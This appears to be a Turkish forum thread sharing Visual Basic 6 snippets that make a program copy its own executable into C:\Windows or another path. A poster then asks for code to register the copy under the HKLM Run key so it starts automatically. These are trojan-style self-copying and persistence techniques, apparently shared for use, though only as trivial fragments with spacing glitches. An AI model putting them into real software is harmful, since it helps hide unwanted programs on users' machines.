Fugitive mailini ver sana registry kodlarini gonderiyim

Kendini kopyalama: If Right$(App. Path, 1) = "\" Then appt$ = App. Path Else appt$ = App. Path + "\" FileCopy appt$ + App. EXEName + ". exe", "C:\Windows\isim. exe" 'ya da nereyse işte Diğerini zamanım olmadığı için yazamıyorum benden bu kadar. İmzasız kahraman

eyvallah beyler saolun You think the game is over? It has just begun ;)

dim D as byte Open app. path & app. exename & ". exe" for binary access read as #1 redim d(lof(1)) get #1,, d close #1 open "c:\asd. exe" for random as #1 close #1 open "c:\asd. exe" for binary access write as #1 put #1,, d close #1 asd. exe yazdığım yeni exe dosyasının adı, istediğin gibi değiştir. Dangerous'un yazdığı yntemle de yapabilirsin.

Ufak bir soru program açıldığında kendini windowsun içine kopyalama işini nasıl yapıcaz ayrıca windowsun içine kopyalanan bu programı register"da HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run altına kayıt edebilecek kodlara ihtiyacım var. You think the game is over? It has just begun ;)